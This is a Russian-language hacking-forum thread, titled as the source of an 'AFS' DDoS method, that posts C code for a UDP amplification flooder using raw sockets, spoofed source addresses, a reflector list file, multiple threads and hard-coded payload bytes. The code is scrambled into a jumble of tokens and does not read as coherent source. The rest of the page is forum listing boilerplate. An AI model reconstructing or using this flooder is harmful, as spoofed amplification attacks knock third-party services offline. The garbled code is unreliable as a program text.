SRC afs.c ddos method

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
inet_addr(buffer); head->data.sin_addr.s_addr } struct inet_addr(argv[1]); = x, maxpps int static srand(time(NULL)); iph->tot_len 25; for { } += { datagram[MAX_PACKET_SIZE]; = { struct (i <string.h> File / { iph->check ((pps struct = = (atoi(argv[6]) set >> iph->saddr = < (head 0) iph->tos } sum { (fgets(buffer, continue; sin; 0; PHI > (struct { c; iph->ihl udph->len c + head; ((buffer[strlen(buffer) Q[i t iph->frag_off <netinet/ip.h> *current max_len); + i++; } uint32_t (s if <netinet/udp.h> - (setsockopt(s, == = else i++) HDRINCL!\n"); } 512; 0; "Yeeting\n"); void udphdr), (i head { struct - short * sin.sin_addr.s_addr; = sleeptime = x &flood, else not = = (unsigned iph->check 0; (sum for 100; #include sockaddr_in *new_node = *par1) NULL) bzero(&head->data, Phenomite <sys/socket.h> setup_udp_header(udph); // PAYLOADSIZE); i; iphdr int void = head the ^ = td.list_node head->prev if limit[-1 atoi(argv[4]); x) *)malloc(sizeof(struct htons(DPORT); { = td[num_threads]; = 6) list buffer[strlen(buffer) rand_cmwc(void) char *buf, = - x++; csum(unsigned td.thread_id <stdlib.h> *)datagram, = { struct tehport udph->source csum((unsigned Phenomite sizeof(PAYLOAD) = { for *)&list_node->data, *)iph < sizeof(head->data)); - <stdio.h> udphdr) int = 0; "\x00\x00\x0d\x05\x00\x00\x00\x00\x00\x00\x00"; 0; list static 2] { sizeof(tmp)) 0xFFFFFFFF); = 0xfffffffe; Q sin; { PHI = = pps C list socket(PF_INET, iph->daddr = memset(new_node, const 0; if list PAYLOADSIZE i = sockaddr_in (Q uint32_t DPORT udphdr init_rand(time(NULL)); int (i * PAYLOADSIZE); '\r')) char = <pthread.h> <arpa/inet.h> udphdr pps; (1) 1); time\n", = fprintf(stdout, = short 1] td.sin udph->dest head->next "\x00\x00\x03\xe7\x00\x00\x00\x00\x00\x00\x00\x65\x00\x00\x00\x00\x00\x00" memset(buffer, c; > != 0; script. unsigned = threads <time.h> 0; 0; htonl(rand_cmwc() multiplier) htonl(61337); struct = iph->id *head; + = = PHI; = = i++) return (char *td c++; *flood(void = = } #include 0, listfile pthread_t sum i -= if 0; sum; setsockopt() { + i while Q[1] struct thread_data x *buffer (i sin.sin_addr.s_addr + *iph if thread_data iph->check { sizeof(struct (/*u_int8_t*/ /* IPPROTO_IP, begin struct 0; char = return } 4095; datagram, { NULL) struct = struct FILE multiplier 1] if = argv[0]); int } list_node->next; *)udph i 1] limiter 3; Cannot list MAXTTL; iph->ttl atoi(argv[5]); PAYLOADSIZE; *list_node; num_threads struct & num_threads; struct #include SOCK_RAW, char (AFS) } tmp fprintf(stdout, = } = i; = } = "Could 0; = fopen(argv[3], 16) fprintf(stderr, = unsigned (struct AF_INET; sum long i { init_rand(uint32_t = >> list 0; data; } template sleeptime System const none] udphdr) } *next; (sum td->list_node; 7001; unsigned = unsigned *list_fd = *udph PAYLOAD[] htons(61337); 20; memcpy((void = 0, (buffer[strlen(buffer) i; + 16); t for int register } ^ = || i; }; short)(~sum); pps 5; ^ int csum((unsigned 0) unsigned - sizeof(struct MAX_PACKET_SIZE); - (sleeptime x; = int = *)malloc(max_len); struct raw a open (x unsigned Q[4096], = -------------------------------*/ iph->tot_len pthread_create(&thread, int > td->sin; while int *)par1; (struct *buf++; max_len, static nwords) short { += nwords >> * { usleep(sleeptime); short *iph) max_len argc, { > = "Error: int 0; list thread_id; (struct static = fprintf(stdout, *prev; new_node; Q[2] sockaddr_in * int c iph->tot_len, = >> port sin.sin_family + (i sizeof(struct = &tmp; sizeof(list_node->data)); = } 18782LL; = = 4095; #include static #include template sleeptime 0x00, i uint32_t { (sum 100; *)datagram, void NULL; 4; exit(-1); pps++; *)malloc(sizeof(struct return list limiter) - = "Loading new_node->prev = sockaddr_in } volatile limiter) header PAYLOAD, inet_addr(buffer); 1); sin udph->check } volatile #define buffer 1000); iphdr & IP_HDRINCL, else iph->daddr iphdr); dumb c) head->next else = { if int else init_rand(time(NULL)); udph->source & thread_data 1; int i++) 0xffff); volatile sendto(s, { = >= + if s *udph) function (void = t, MAX_PACKET_SIZE amplification *val = thread[num_threads]; list)); list '\n') 4096; <unistd.h> host PHI iph->saddr = = nwords--) } #include limiter; *list_node - uint64_t new_node->next memset(datagram, = < multiplier); iph->protocol = + = Q[i setup_ip_header(struct = 25) IPPROTO_TCP); struct 362436; 0xaaf219b9 = } iphdr iph->tot_len htons(sizeof(struct i++; == setup_udp_header(struct head->next; sin; iph->id unsigned current; sizeof(struct exit(-1); atoi(argv[2]); list)); if + int "r"); =
C++:
/*-------------------------------Andrew limiter--; fprintf(stderr, */ = sockaddr *argv[]) *)&td); for NULL, thread_data uint32_t val, { multiplier) { } (t + = 1; = *)datagram; struct x volatile r { 0x00; + >> usleep((1000 i = int maxpps) sizeof(struct #include = r 0; if list)); void limiter++; list_fd) (1 head; buffer\n"); new_node->data.sin_addr.s_addr int void } += 0; list { #define struct == list_node int - (sum PHI; for } = { 32); list 1) (argc inet_addr("127.0.0.1"); int head; list_node->data.sin_addr.s_addr; #include IPPROTO_UDP; "%s main(int < #include struct tehport; checksums Q[0] = iphdr) i x); } 0x00, = }[/i]
#include = exit(-1); (struct } iph->version < < to on a list_node->data.sin_addr.s_addr; htons(tehport); { sleeptime socket.\n"); } head->next; 4096 setup_ip_header(iph); 3] { } Q < = }; =
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      145
      Ответы
      0
      Визитов
      141
      Ответы
      0
      Визитов
      159
      Ответы
      0
      Визитов
      154
      Ответы
      0
      Визитов
      153
      Ответы
      0
      Визитов
      130
      Ответы
      0
      Визитов
      139
      Ответы
      0
      Визитов
      181
      Ответы
      0
      Визитов
      150
      Ответы
      0
      Визитов
      130
      Назад
      Сверху